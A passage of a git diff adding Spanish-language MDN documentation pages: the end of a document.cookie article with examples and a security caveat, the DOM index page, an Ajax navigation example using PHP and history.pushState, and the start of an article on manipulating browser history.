+<pre>&lt;button onclick="alertCookieValue()"&gt;Mostrar valor de cookie&lt;/button&gt;</pre>
+
+<p>{{EmbedLiveSample('Example_2_Get_a_sample_cookie_named_test2', 200, 36)}}</p>
+
+<h3 id="Ejemplo_3_Hacer_algo_una_sola_vez">Ejemplo #3: Hacer algo una sola vez</h3>
+
+<p>De manera a usar el siguiente código, favor remplace todas las veces la palabra <code>hacerAlgoUnaSolaVez</code> (el nombre de la cookie) con un nombre personalizado.</p>
+
+<pre>function hazUnaVez() {
+  if (document.cookie.replace(/(?:(?:^|.*;\s*)<code>hacerAlgoUnaSolaVez</code>\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "true") {
+    alert("Hacer algo aquí!");
+    document.cookie = "<code>hacerAlgoUnaSolaVez</code>=true; expires=Fri, 31 Dec 9999 23:59:59 GMT";
+  }
+}</pre>
+
+<pre>&lt;button onclick="dhacerUnaVez()"&gt;Solo hacer algo una vez&lt;/button&gt;</pre>
+
+<p>{{EmbedLiveSample('Example_3_Do_something_only_once', 200, 36)}}</p>
+
+<h3 id="Notas" name="Notas">Seguridad</h3>
+
+<p>Es importante mencionar que la restricción path no protege contra la lectura no autorizada de cookies de una ruta distinta. Puede ser fácilmente resuelto mediante DOM (por ejemplo creando un <a href="/en/HTML/Element/iframe" title="en/HTML/Element/iframe">iframe</a> oculto con la ruta de la cookie y accediendo a la propiedad contentDocument.cookie del iframe). La única manera de proteger el acceso a cookies es ocupando un dominio o subdominio diferente, debido a la <a href="/en/Same_origin_policy_for_JavaScript" title="Same origin policy for JavaScript">política de mismo origen</a>.</p>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<ul>
+ <li>Empezando con Firefox 2, está disponible un mejor mecanismo de almacenamiento en cliente - <a href="/es/DOM/Storage" title="es/DOM/Storage">WHATWG DOM Storage</a>.</li>
+ <li>Puedes eliminar una cookie simplemente estableciendo su fecha de expiración a cero.</li>
+ <li>Cabe mencionar que entre más cookies se tengan, mayor cantidad de datos serán transferidos entre el servidor y el cliente en cada solicitud. Esto reducirá el tiempo entre cada solicitud. Es altamente recomendado que se utilice <a href="/es/DOM/Storage" title="es/DOM/Storage">WHATWG DOM Storage</a> si se van a mantener los datos solamente en el cliente.</li>
+</ul>
+
+<h3 id="Especificaci.C3.B3n" name="Especificaci.C3.B3n">Especificación</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-8747038">DOM Level 2: HTMLDocument.cookie</a></p>
diff --git a/files/es/dom/index.html b/files/es/dom/index.html
new file mode 100644
index 0000000000..b1a5452a8e
--- /dev/null
+++ b/files/es/dom/index.html
@@ -0,0 +1,86 @@
+---
+title: DOM
+slug: DOM
+tags:
+  - DOM
+  - Todas_las_Categorías
+translation_of: Web/API/Document_Object_Model
+---
+<div class="callout-box">
+  <strong><a href="/es/Acerca_del_Modelo_de_Objetos_del_Documento" title="es/Acerca_del_Modelo_de_Objetos_del_Documento">Acerca del Modelo de Objetos del Documento</a></strong><br>
+  Un par de cosas básicas sobre DOM y Mozilla.</div>
+<div>
+  <p>El <strong>Modelo de Objetos del Documento (DOM)</strong> es un API para documentos <a href="/es/HTML" title="es/HTML">HTML</a> y <a href="/es/XML" title="es/XML">XML</a>. Proporciona una representación estructural del documento, permitiendo la modificación de su contenido o su presentación visual. Esencialmente, comunica las páginas web con los scripts o los lenguajes de programación.</p>
+</div>
+<p><strong>DOM</strong> es un estándar del <a class="external" href="http://www.w3.org/DOM/">W3C</a></p>
+<table class="topicpage-table">
+  <tbody>
+    <tr>
+      <td>
+        <h4 id="Documentaci.C3.B3n" name="Documentaci.C3.B3n"><a href="/Special:Tags?tag=DOM&amp;language=es" title="Special:Tags?tag=DOM&amp;language=es">Documentación</a></h4>
+        <dl>
+          <dt>
+            <a class="external" href="http://www.maestrosdelweb.com/editorial/dom/">Introducción a la manipulación DOM</a></dt>
+          <dd>
+            <small>Introducción a los métodos de manipulación DOM mediante Javascript</small></dd>
+        </dl>
+        <dl>
+          <dt>
+            <a class="external" href="http://html.conclase.net/w3c/dom1-es/cover.html">Especificación del DOM Nivel 1</a></dt>
+          <dd>
+            <small>El objetivo de la especificación DOM es definir una interfaz programable para HTML y XML.</small></dd>
+        </dl>
+        <dl>
+          <dt>
+            <a href="/es/Uso_del_núcleo_del_nivel_1_del_DOM" title="es/Uso_del_núcleo_del_nivel_1_del_DOM">Uso del núcleo del nivel 1 del DOM</a></dt>
+          <dd>
+            <small>Es un potente modelo de objetos para modificar el árbol de contenidos de los documentos.</small></dd>
+        </dl>
+        <dl>
+          <dt>
+            <a href="/es/Los_niveles_del_DOM" title="es/Los_niveles_del_DOM">Los niveles del DOM</a></dt>
+          <dd>
+            <small>Una descripción de los niveles del DOM y el soporte ofrecido por Mozilla a cada uno de ellos.</small></dd>
+        </dl>
+        <dl>
+          <dt>
+            <a href="/es/DHTML_Demostraciones_del_uso_de_DOM//Style" title="es/DHTML_Demostraciones_del_uso_de_DOM//Style">DHTML Demostraciones del uso de DOM/Style</a></dt>
+          <dd>
+            <small>Contiene una lista de ejemplos DOM basados en sus diversas características. La lista incluye demostraciones para Eventos DOM, DOM Core, DOM HTML y mucho mas.</small></dd>
+        </dl>
+        <dl>
+          <dt>
+            <a class="external" href="http://www.mozilla.org/docs/dom/">The Document Object Model in Mozilla.org <small>(en)</small></a></dt>
+          <dd>
+            <small>Una versión más antigua acerca de DOM se encuentra en mozilla.org.</small></dd>
+        </dl>
+        <p><span class="comment">enlaces a ninguna parte: ; <a href="/es/DOM_y_JavaScript">DOM y JavaScript</a>: &lt;small&gt;"¿Qué está haciendo que? ¿En un script embebido en mi página web, el cual usa DOM y Javascript?"&lt;/small&gt;  ; <a href="/es/Modificando_dinámicamente_las_interfaces_de_usuario_en_XUL">Modificando dinámicamente las interfaces de usuario en XUL</a>: &lt;small&gt;Fundamentos de manipulación con XUL UI y métodos DOM.&lt;/small&gt;  ; <a href="/es/Espacios_en_blanco_en_el_DOM">Espacios en blanco en el DOM</a>: &lt;small&gt;Una solución al problema de ignorar los espacios en blanco cuando se interactúa con el DOM.&lt;/small&gt;  ; <a href="/es/Tablas_HTML_con_JavaScript_e_interfaces_DOM">Tablas HTML con JavaScript e interfaces DOM</a>: &lt;small&gt;Una descripción de algunos métodos de gran alcance, fundamentales para el nivel 1 en el uso de DOM y de cómo utilizarlo con Javascript .&lt;/small&gt; fin de enlaces a ninguna parte</span> <span class="alllinks"><a href="/Special:Tags?tag=DOM&amp;language=es" title="Special:Tags?tag=DOM&amp;language=es">Ver todos</a></span></p>
+      </td>
+      <td>
+        <h4 id="Comunidad" name="Comunidad">Comunidad</h4>
+        <ul>
+          <li>En la comunidad Mozilla... en inglés</li>
+        </ul>
+        <p>{{ DiscussionList("dev-tech-dom", "mozilla.dev.tech.dom") }}</p>
+        <p><span class="alllinks"><a href="/es/DOM/Comunidad" title="es/DOM/Comunidad">Ver todos</a></span></p>
+        <h4 id="Herramientas" name="Herramientas">Herramientas</h4>
+        <ul>
+          <li><a href="/es/DOM_Inspector" title="es/DOM_Inspector">DOM Inspector</a></li>
+          <li><a class="external" href="http://slayeroffice.com/tools/modi/v2.0/modi_help.html">Mouse-over DOM Inspector</a></li>
+          <li><a class="external" href="http://www.karmatics.com/aardvark/">Aardvark, extension para Firefox</a></li>
+        </ul>
+        <p><span class="alllinks"><a href="/Special:Tags?tag=DOM:Herramientas&amp;language=es" title="Special:Tags?tag=DOM:Herramientas&amp;language=es">Ver todos</a></span></p>
+        <h4 id="Temas_relacionados" name="Temas_relacionados">Temas relacionados</h4>
+        <dl>
+          <dd>
+            • <a href="/es/AJAX" title="es/AJAX">AJAX</a> • <a href="/es/CSS" title="es/CSS">CSS</a> • <a href="/es/XML" title="es/XML">XML</a> • <a href="/es/JavaScript" title="es/JavaScript">JavaScript</a> •</dd>
+        </dl>
+        <p> </p>
+      </td>
+    </tr>
+  </tbody>
+</table>
+<p><span class="comment">fin de tabla</span></p>
+<p><span class="comment">Categorías</span></p>
+<p><span class="comment">Interwiki Language Links</span></p>
+<p>{{ languages( { "de": "de/DOM", "en": "en/DOM", "fr": "fr/DOM", "hu": "hu/DOM", "ja": "ja/DOM", "ko": "ko/DOM", "nl": "nl/DOM", "pl": "pl/DOM", "pt": "pt/DOM", "ru": "ru/DOM", "zh-cn": "cn/DOM", "zh-tw": "zh_tw/DOM" } ) }} </p>
diff --git a/files/es/dom/manipulando_el_historial_del_navegador/ejemplo/index.html b/files/es/dom/manipulando_el_historial_del_navegador/ejemplo/index.html
new file mode 100644
index 0000000000..1971f1348f
--- /dev/null
+++ b/files/es/dom/manipulando_el_historial_del_navegador/ejemplo/index.html
@@ -0,0 +1,415 @@
+---
+title: Ejemplo de Navegación usando Ajax
+slug: DOM/Manipulando_el_historial_del_navegador/Ejemplo
+translation_of: Web/API/History_API/Example
+---
+<p>This is an example of an AJAX web site composed only of three pages (<em>first_page.php</em>, <em>second_page.php</em> and <em>third_page.php</em>). To see how it works, please, create the following files (or git clone <a href="https://github.com/giabao/mdn-ajax-nav-example" title="/en-US/docs/">https://github.com/giabao/mdn-ajax-nav-example.git</a> ):</p>
+
+<div class="note" id="const_compatibility"><strong>Note:</strong> For fully integrating the {{HTMLElement("form")}} elements within this <em>mechanism</em>, please take a look at the paragraph <a href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest#Submitting_forms_and_uploading_files">Submitting forms and uploading files</a>.</div>
+
+<p><strong>first_page.php</strong>:</p>
+
+<div style="height: 400px; margin-bottom: 12px; overflow: auto;">
+<pre class="brush: php">&lt;?php
+    $page_title = "First page";
+
+    $as_json = false;
+    if (isset($_GET["view_as"]) &amp;&amp; $_GET["view_as"] == "json") {
+        $as_json = true;
+        ob_start();
+    } else {
+?&gt;
+&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;?php
+        include "include/header.php";
+        echo "&lt;title&gt;" . $page_title . "&lt;/title&gt;";
+?&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+
+&lt;?php include "include/before_content.php"; ?&gt;
+
+&lt;p&gt;This paragraph is shown only when the navigation starts from &lt;strong&gt;first_page.php&lt;/strong&gt;.&lt;/p&gt;
+
+&lt;div id="ajax-content"&gt;
+&lt;?php } ?&gt;
+
+    &lt;p&gt;This is the content of &lt;strong&gt;first_page.php&lt;/strong&gt;.&lt;/p&gt;
+
+&lt;?php
+    if ($as_json) {
+        echo json_encode(array("page" =&gt; $page_title, "content" =&gt; ob_get_clean()));
+    } else {
+?&gt;
+&lt;/div&gt;
+
+&lt;p&gt;This paragraph is shown only when the navigation starts from &lt;strong&gt;first_page.php&lt;/strong&gt;.&lt;/p&gt;
+
+&lt;?php
+        include "include/after_content.php";
+        echo "&lt;/body&gt;\n&lt;/html&gt;";
+    }
+?&gt;
+</pre>
+</div>
+
+<p><strong>second_page.php</strong>:</p>
+
+<div style="height: 400px; margin-bottom: 12px; overflow: auto;">
+<pre class="brush: php">&lt;?php
+    $page_title = "Second page";
+
+    $as_json = false;
+    if (isset($_GET["view_as"]) &amp;&amp; $_GET["view_as"] == "json") {
+        $as_json = true;
+        ob_start();
+    } else {
+?&gt;
+&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;?php
+        include "include/header.php";
+        echo "&lt;title&gt;" . $page_title . "&lt;/title&gt;";
+?&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+
+&lt;?php include "include/before_content.php"; ?&gt;
+
+&lt;p&gt;This paragraph is shown only when the navigation starts from &lt;strong&gt;second_page.php&lt;/strong&gt;.&lt;/p&gt;
+
+&lt;div id="ajax-content"&gt;
+&lt;?php } ?&gt;
+
+    &lt;p&gt;This is the content of &lt;strong&gt;second_page.php&lt;/strong&gt;.&lt;/p&gt;
+
+&lt;?php
+    if ($as_json) {
+        echo json_encode(array("page" =&gt; $page_title, "content" =&gt; ob_get_clean()));
+    } else {
+?&gt;
+&lt;/div&gt;
+
+&lt;p&gt;This paragraph is shown only when the navigation starts from &lt;strong&gt;second_page.php&lt;/strong&gt;.&lt;/p&gt;
+
+&lt;?php
+        include "include/after_content.php";
+        echo "&lt;/body&gt;\n&lt;/html&gt;";
+    }
+?&gt;
+</pre>
+</div>
+
+<p><strong>third_page.php</strong>:</p>
+
+<div style="height: 400px; margin-bottom: 12px; overflow: auto;">
+<pre class="brush: php">&lt;?php
+    $page_title = "Third page";
+    $page_content = "&lt;p&gt;This is the content of &lt;strong&gt;third_page.php&lt;/strong&gt;. This content is stored into a php variable.&lt;/p&gt;";
+
+    if (isset($_GET["view_as"]) &amp;&amp; $_GET["view_as"] == "json") {
+        echo json_encode(array("page" =&gt; $page_title, "content" =&gt; $page_content));
+    } else {
+?&gt;
+&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;?php
+        include "include/header.php";
+        echo "&lt;title&gt;" . $page_title . "&lt;/title&gt;";
+?&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+
+&lt;?php include "include/before_content.php"; ?&gt;
+
+&lt;p&gt;This paragraph is shown only when the navigation starts from &lt;strong&gt;third_page.php&lt;/strong&gt;.&lt;/p&gt;
+
+&lt;div id="ajax-content"&gt;
+&lt;?php echo $page_content; ?&gt;
+&lt;/div&gt;
+
+&lt;p&gt;This paragraph is shown only when the navigation starts from &lt;strong&gt;third_page.php&lt;/strong&gt;.&lt;/p&gt;
+
+&lt;?php
+        include "include/after_content.php";
+        echo "&lt;/body&gt;\n&lt;/html&gt;";
+    }
+?&gt;
+</pre>
+</div>
+
+<p><strong>css/style.css</strong>:</p>
+
+<pre class="brush: css">#ajax-loader {
+    position: fixed;
+    display: table;
+    top: 0;
+    left: 0;
+    width: 100%;
+    height: 100%;
+}
+
+#ajax-loader &gt; div {
+    display: table-cell;
+    width: 100%;
+    height: 100%;
+    vertical-align: middle;
+    text-align: center;
+    background-color: #000000;
+    opacity: 0.65;
+}
+</pre>
+
+<p><strong>include/after_content.php</strong>:</p>
+
+<pre class="brush: php">&lt;p&gt;This is the footer. It is shared between all ajax pages.&lt;/p&gt;
+</pre>
+
+<p><strong>include/before_content.php</strong>:</p>
+
+<pre class="brush: php">&lt;p&gt;
+[ &lt;a class="ajax-nav" href="first_page.php"&gt;First example&lt;/a&gt;
+| &lt;a class="ajax-nav" href="second_page.php"&gt;Second example&lt;/a&gt;
+| &lt;a class="ajax-nav" href="third_page.php"&gt;Third example&lt;/a&gt;
+| &lt;a class="ajax-nav" href="unexisting.php"&gt;Unexisting page&lt;/a&gt; ]
+&lt;/p&gt;
+
+</pre>
+
+<p><strong>include/header.php</strong>:</p>
+
+<pre class="brush: php">&lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /&gt;
+&lt;script type="text/javascript" src="js/ajax_nav.js"&gt;&lt;/script&gt;
+&lt;link rel="stylesheet" href="css/style.css" /&gt;
+</pre>
+
+<p><strong>js/ajax_nav.js</strong>:</p>
+
+<p>(before implementing it in a working environment, <strong>please read <a href="#const_compatibility" title="Note about *const* compatibility">the note about the const statement compatibility</a></strong>)</p>
+
+<div style="height: 400px; margin-bottom: 12px; overflow: auto;">
+<pre class="brush: js">"use strict";
+
+const ajaxRequest = new (function () {
+
+    function closeReq () {
+        oLoadingBox.parentNode &amp;&amp; document.body.removeChild(oLoadingBox);
+        bIsLoading = false;
+    }
+
+    function abortReq () {
+        if (!bIsLoading) { return; }
+        oReq.abort();
+        closeReq();
+    }
+
+    function ajaxError () {
+        alert("Unknown error.");
+    }
+
+    function ajaxLoad () {
+        var vMsg, nStatus = this.status;
+        switch (nStatus) {
+            case 200:
+                vMsg = JSON.parse(this.responseText);
+                document.title = oPageInfo.title = vMsg.page;
+                document.getElementById(sTargetId).innerHTML = vMsg.content;
+                if (bUpdateURL) {
+                    history.pushState(oPageInfo, oPageInfo.title, oPageInfo.url);
+                    bUpdateURL = false;
+                }
+                break;
+            default:
+                vMsg = nStatus + ": " + (oHTTPStatus[nStatus] || "Unknown");
+                switch (Math.floor(nStatus / 100)) {
+                    /*
+                    case 1:
+                        // Informational 1xx
+                        console.log("Information code " + vMsg);
+                        break;
+                    case 2:
+                        // Successful 2xx
+                        console.log("Successful code " + vMsg);
+                        break;
+                    case 3:
+                        // Redirection 3xx
+                        console.log("Redirection code " + vMsg);
+                        break;
+                    */
+                    case 4:
+                        /* Client Error 4xx */
+                        alert("Client Error #" + vMsg);
+                        break;
+                    case 5:
+                        /* Server Error 5xx */
+                        alert("Server Error #" + vMsg);
+                        break;
+                    default:
+                        /* Unknown status */
+                        ajaxError();
+                }
+        }
+        closeReq();
+    }
+
+    function filterURL (sURL, sViewMode) {
+        return sURL.replace(rSearch, "") + ("?" + sURL.replace(rHost, "&amp;").replace(rView, sViewMode ? "&amp;" + sViewKey + "=" + sViewMode : "").slice(1)).replace(rEndQstMark, "");
+    }
+
+    function getPage (sPage) {
+        if (bIsLoading) { return; }
+        oReq = new XMLHttpRequest();
+        bIsLoading = true;
+        oReq.onload = ajaxLoad;
+        oReq.onerror = ajaxError;
+        if (sPage) { oPageInfo.url = filterURL(sPage, null); }
+        oReq.open("get", filterURL(oPageInfo.url, "json"), true);
+        oReq.send();
+        oLoadingBox.parentNode || document.body.appendChild(oLoadingBox);
+    }
+
+    function requestPage (sURL) {
+        if (history.pushState) {
+            bUpdateURL = true;
+            getPage(sURL);
+        } else {
+            /* Ajax navigation is not supported */
+            location.assign(sURL);
+        }
+    }
+
+    function processLink () {
+        if (this.className === sAjaxClass) {
+            requestPage(this.href);
+            return false;
+        }
+        return true;
+    }
+
+    function init () {
+        oPageInfo.title = document.title;
+        for (var oLink, nIdx = 0, nLen = document.links.length; nIdx &lt; nLen; document.links[nIdx++].onclick = processLink);
+    }
+
+    const
+
+        /* customizable constants */
+        sTargetId = "ajax-content", sViewKey = "view_as", sAjaxClass = "ajax-nav",
+
+        /* not customizable constants */
+        rSearch = /\?.*$/, rHost = /^[^\?]*\?*&amp;*/, rView = new RegExp("&amp;" + sViewKey + "\\=[^&amp;]*|&amp;*$", "i"), rEndQstMark = /\?$/,
+        oLoadingBox = document.createElement("div"), oCover = document.createElement("div"), oLoadingImg = new Image(),
+        oPageInfo = {
+            title: null,
+            url: location.href
+        }, oHTTPStatus = /* http://www.iana.org/assignments/http-status-codes/http-status-codes.xml */ {
+            100: "Continue",
+            101: "Switching Protocols",
+            102: "Processing",
+            200: "OK",
+            201: "Created",
+            202: "Accepted",
+            203: "Non-Authoritative Information",
+            204: "No Content",
+            205: "Reset Content",
+            206: "Partial Content",
+            207: "Multi-Status",
+            208: "Already Reported",
+            226: "IM Used",
+            300: "Multiple Choices",
+            301: "Moved Permanently",
+            302: "Found",
+            303: "See Other",
+            304: "Not Modified",
+            305: "Use Proxy",
+            306: "Reserved",
+            307: "Temporary Redirect",
+            308: "Permanent Redirect",
+            400: "Bad Request",
+            401: "Unauthorized",
+            402: "Payment Required",
+            403: "Forbidden",
+            404: "Not Found",
+            405: "Method Not Allowed",
+            406: "Not Acceptable",
+            407: "Proxy Authentication Required",
+            408: "Request Timeout",
+            409: "Conflict",
+            410: "Gone",
+            411: "Length Required",
+            412: "Precondition Failed",
+            413: "Request Entity Too Large",
+            414: "Request-URI Too Long",
+            415: "Unsupported Media Type",
+            416: "Requested Range Not Satisfiable",
+            417: "Expectation Failed",
+            422: "Unprocessable Entity",
+            423: "Locked",
+            424: "Failed Dependency",
+            425: "Unassigned",
+            426: "Upgrade Required",
+            427: "Unassigned",
+            428: "Precondition Required",
+            429: "Too Many Requests",
+            430: "Unassigned",
+            431: "Request Header Fields Too Large",
+            500: "Internal Server Error",
+            501: "Not Implemented",
+            502: "Bad Gateway",
+            503: "Service Unavailable",
+            504: "Gateway Timeout",
+            505: "HTTP Version Not Supported",
+            506: "Variant Also Negotiates (Experimental)",
+            507: "Insufficient Storage",
+            508: "Loop Detected",
+            509: "Unassigned",
+            510: "Not Extended",
+            511: "Network Authentication Required"
+        };
+
+    var
+
+        oReq, bIsLoading = false, bUpdateURL = false;
+
+    oLoadingBox.id = "ajax-loader";
+    oCover.onclick = abortReq;
+    oLoadingImg.src = "data:image/gif;base64,R0lGODlhEAAQAPIAAP///wAAAMLCwkJCQgAAAGJiYoKCgpKSkiH/C05FVFNDQVBFMi4wAwEAAAAh/hpDcmVhdGVkIHdpdGggYWpheGxvYWQuaW5mbwAh+QQJCgAAACwAAAAAEAAQAAADMwi63P4wyklrE2MIOggZnAdOmGYJRbExwroUmcG2LmDEwnHQLVsYOd2mBzkYDAdKa+dIAAAh+QQJCgAAACwAAAAAEAAQAAADNAi63P5OjCEgG4QMu7DmikRxQlFUYDEZIGBMRVsaqHwctXXf7WEYB4Ag1xjihkMZsiUkKhIAIfkECQoAAAAsAAAAABAAEAAAAzYIujIjK8pByJDMlFYvBoVjHA70GU7xSUJhmKtwHPAKzLO9HMaoKwJZ7Rf8AYPDDzKpZBqfvwQAIfkECQoAAAAsAAAAABAAEAAAAzMIumIlK8oyhpHsnFZfhYumCYUhDAQxRIdhHBGqRoKw0R8DYlJd8z0fMDgsGo/IpHI5TAAAIfkECQoAAAAsAAAAABAAEAAAAzIIunInK0rnZBTwGPNMgQwmdsNgXGJUlIWEuR5oWUIpz8pAEAMe6TwfwyYsGo/IpFKSAAAh+QQJCgAAACwAAAAAEAAQAAADMwi6IMKQORfjdOe82p4wGccc4CEuQradylesojEMBgsUc2G7sDX3lQGBMLAJibufbSlKAAAh+QQJCgAAACwAAAAAEAAQAAADMgi63P7wCRHZnFVdmgHu2nFwlWCI3WGc3TSWhUFGxTAUkGCbtgENBMJAEJsxgMLWzpEAACH5BAkKAAAALAAAAAAQABAAAAMyCLrc/jDKSatlQtScKdceCAjDII7HcQ4EMTCpyrCuUBjCYRgHVtqlAiB1YhiCnlsRkAAAOwAAAAAAAAAAAA==";
+    oCover.appendChild(oLoadingImg);
+    oLoadingBox.appendChild(oCover);
+
+    onpopstate = function (oEvent) {
+        bUpdateURL = false;
+        oPageInfo.title = oEvent.state.title;
+        oPageInfo.url = oEvent.state.url;
+        getPage();
+    };
+
+    window.addEventListener ? addEventListener("load", init, false) : window.attachEvent ? attachEvent("onload", init) : (onload = init);
+
+    // Public methods
+
+    this.open = requestPage;
+    this.stop = abortReq;
+    this.rebuildLinks = init;
+
+})();
+</pre>
+</div>
+
+<div class="note" id="const_compatibility"><strong>Note:</strong> The current implementation of <a href="/en/JavaScript/Reference/Statements/const" title="en/JavaScript/Reference/Statements/const"><code>const</code></a> (constant statement) <strong>is not part of ECMAScript 5</strong>. It is supported in Firefox &amp; Chrome (V8) and partially supported in Opera 9+ and Safari. <strong>It is not supported in Internet Explorer 6-9, or in the preview of Internet Explorer 10</strong>. <a href="/en/JavaScript/Reference/Statements/const" title="en/JavaScript/Reference/Statements/const"><code>const</code></a> is going to be defined by ECMAScript 6, but with different semantics. Similar to variables declared with the <a href="/en/JavaScript/Reference/Statements/let" title="en/JavaScript/Reference/Statements/let"><code>let</code></a> statement, constants declared with <a href="/en/JavaScript/Reference/Statements/const" title="en/JavaScript/Reference/Statements/const"><code>const</code></a> will be block-scoped. <strong>We used it only for didactic purpose. If you want a full browser compatibility of this library, please replace all the <a href="/en/JavaScript/Reference/Statements/const" title="en/JavaScript/Reference/Statements/const"><code>const</code></a> statements with the <a href="/en/JavaScript/Reference/Statements/var" title="en/JavaScript/Reference/Statements/var"><code>var</code></a> statements.</strong></div>
+
+<p>For more information, please see: <a href="/en-US/docs/DOM/Manipulating_the_browser_history" title="/en-US/docs/DOM/Manipulating_the_browser_history">Manipulating the browser history</a>.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{ domxref("window.history") }}</li>
+ <li>{{ domxref("window.onpopstate") }}</li>
+</ul>
diff --git a/files/es/dom/manipulando_el_historial_del_navegador/index.html b/files/es/dom/manipulando_el_historial_del_navegador/index.html
new file mode 100644
index 0000000000..eb2c0b3fdd
--- /dev/null
+++ b/files/es/dom/manipulando_el_historial_del_navegador/index.html
@@ -0,0 +1,228 @@
+---
+title: Manipulando el historial del navegador
+slug: DOM/Manipulando_el_historial_del_navegador
+tags:
+  - HTML5
+  - historial
+  - para_revisar
+translation_of: Web/API/History_API
+---
+<p>El objeto DOM {{ domxref("window") }} proporciona acceso al historial del navegador a través del objeto {{ domxref("window.history", "history") }} . Este da acceso a métodos y propiedades útiles que permiten avanzar y retroceder a través del historial del usuario, así como --a partir de HTML5-- manipular el contenido del historial.</p>
+
+<h2 id="Viajando_a_través_del_historial">Viajando a través del historial</h2>
+
+<p>Retroceder y avanzar a través del historial del usuario utilizando los métodos <code>back()</code>, <code>forward()</code> y <code>go()</code>.</p>
+
+<h3 id="Moviéndose_hacia_adelante_y_hacia_atrás">Moviéndose hacia adelante y hacia atrás</h3>
+
+<p>Para moverte hacia atrás, solo debes hacer:</p>
+
+<pre>window.history.back();
+</pre>
+
+<p>Esto actuará exactamente como si el usuario hiciera clic en el botón "atrás" en la barra de herramientas del navegador.</p>
+
+<p>De manera similar, puedes moverte hacia adelante (como si el usuario hiciera clic en en el botón "adelante"), de esta forma:</p>
+
+<pre>window.history.forward();
+</pre>
+
+<h3 id="Moverse_a_un_punto_específico_del_historial">Moverse a un punto específico del historial</h3>
+
+<p>Puedes usar el método <code>go()</code> para cargar una página desde el historial de la sesión, identificada por su poscición relativa a la página actual  (Siendo la página actual, por supuesto, relativa al índice 0).</p>
+
+<p>Para moverse atrás una página (equivalente a llamar <code>back()</code>):</p>
+
+<pre><code>window.history.go(-1);</code>
+</pre>
+
+<p>Para moverse una página hacia adelante, como si se llamara a <code>forward()</code>:</p>
+
+<pre><code>window.history.go(1);</code>
+</pre>
+
+<p>De manera similar, puedes avanzar 2 páginas pasando 2 y así sucesivamente.</p>
+
+<p>Otro uso para <code>go()</code> es el de actualizar la página ya sea pasando <code>0</code> como parámetro o ninguno.</p>
+
+<pre><code>// Cada una de las siguientes
+// instrucciones actualiza la página
+window.history.go(0);
+window.history.go();</code></pre>
+
+<p>Puedes obtener el número de páginas en la pila del historial consultando el valor de la propiedad <span class="long_text" id="result_box" lang="es"><span title=""><code>length</code>:</span></span></p>
+
+<pre>var numeroDeEntradas = window.history.length;
+</pre>
+
+<div class="note"><strong>Nota:</strong> Internet Explorer admite el paso de cadenas de URL como parámetro para <code>go()</code>; esto no es estándar y no está implementado en Gecko.</div>
+
+<h2 id="Añadiendo_y_modificando_entradas_del_historial">Añadiendo y modificando entradas del historial</h2>
+
+<p>{{ gecko_minversion_header("2") }}</p>
+
+<p>HTML5 introduce los métodos <code>history.pushState()</code> y <code>history.replaceState()</code>, los cuales te permiten añadir y modificar entradas del historial, respectivamente. Estos métodos trabajan en conjunto con el evento {{ domxref("window.onpopstate") }}.</p>
+
+<p>Hacer uso de <code>history.pushState()</code> cambia el referer que es utilizado en la cabecera HTTP por los objetos <a href="/es/docs/XMLHttpRequest">XMLHttpRequest</a> que hayan sido creados luego de cambiar el estado. El referer utilizará la URL del documento cuyo objeto window sea <code>this</code> al momento de la creación del objeto <a href="/es/docs/XMLHttpRequest">XMLHttpRequest</a>.</p>
+
+<h3 id="Ejemplo">Ejemplo</h3>
+
+<p>Supongamos que <span class="nowiki">http://mozilla.org/foo.html</span> ejecuta el siguiente JavaScript:</p>
+
+<pre>var stateObj = { foo: "bar" };
+history.pushState(stateObj, "page 2", "bar.html");
+</pre>
+
+<p>Esto causará que la barra de URL muestre <span class="nowiki">http://mozilla.org/bar.html</span>, pero no provocará que el navegador carge bar.html ni tampoco que verifique si bar.html existe.</p>
+
+<p>Supongamos ahora que el usuario navega hacia <span class="nowiki">http://google.com</span>, y despúes hace clic en Atrás.  En este punto, la barra de URL mostrará <span class="nowiki">http://mozilla.org/bar.html</span>, y la página tendrá un evento <code>popstate</code> cuyo <em>state object</em> contiene una copia de <code>stateObj</code>. La página en si se verá como <code>foo.html</code>, aunque la página podria modificar su contenido durante el evento <code>popstate</code> event.</p>
+
+<p>Si hacemos clic en "atrás" nuevamente, la URL cambiará a <span class="nowiki">http://mozilla.org/foo.html</span>, y el documento generará otro evento <code>popstate</code> event, esta vez con un state object nulo. Aquí también, ir atrás no cambia el contenido del documento con respecto al paso anterior, aunque el documento permite actualizar su contenido manualmente después de recibir el evento <code>popstate</code>.</p>
+
+<h3 id="El_método_pushState()">El método pushState()</h3>
+
+<p><code>pushState()</code> toma tres parámetros: un objeto estado, un título (el cual es normalmente ignorado) y (opcionalmente) una URL.  Vamos a examinar cada uno de estos tres parametros en más detalle:</p>
+
+<ul>
+ <li>
+  <p><strong>object estado</strong> —  El objeto estado es un objeto JavaScript el cual esta asociado con la nueva entrada al historial creada por <code>pushState()</code>. Cada vez que el usuario navega hacia un nuevo estado, un evento <code>popstate</code> event se dispara, y la propiedad <code>state</code> del evento contiene una copia del historial de entradas del objeto estado.</p>
+
+  <p>El objeto estado puede ser cualquier cosa que puedas pasar a <code>JSON.stringify</code>. Dado que Firefox guarda los objetos estado en el disco del usuario para que puedan ser restaurados después de que el usuario reinicie su navegador, se ha impuesto  un tamaño límite de 640K caracteres en representación JSON de un objeto estado. Si pasas un objeto estado cuya representación es más larga que esto a <code>pushState()</code>, el método arrojará una excepción. Si necesitas más espacio, se recomienda usar <code>sessionStorage</code> y/o <code>localStorage</code>.</p>
+ </li>
+ <li>
+  <p><strong>título</strong> — Firefox actualmente ignora este parámetro, aunque podría usarse en el futuro. Pasar una cadena de caracteres vacia aquí podría asegurar estar a salvo de futuros cambios en este método. Alternativamente podrías pasar un título corto del estado hacia el cual te estás moviendo.</p>
+ </li>
+ <li>
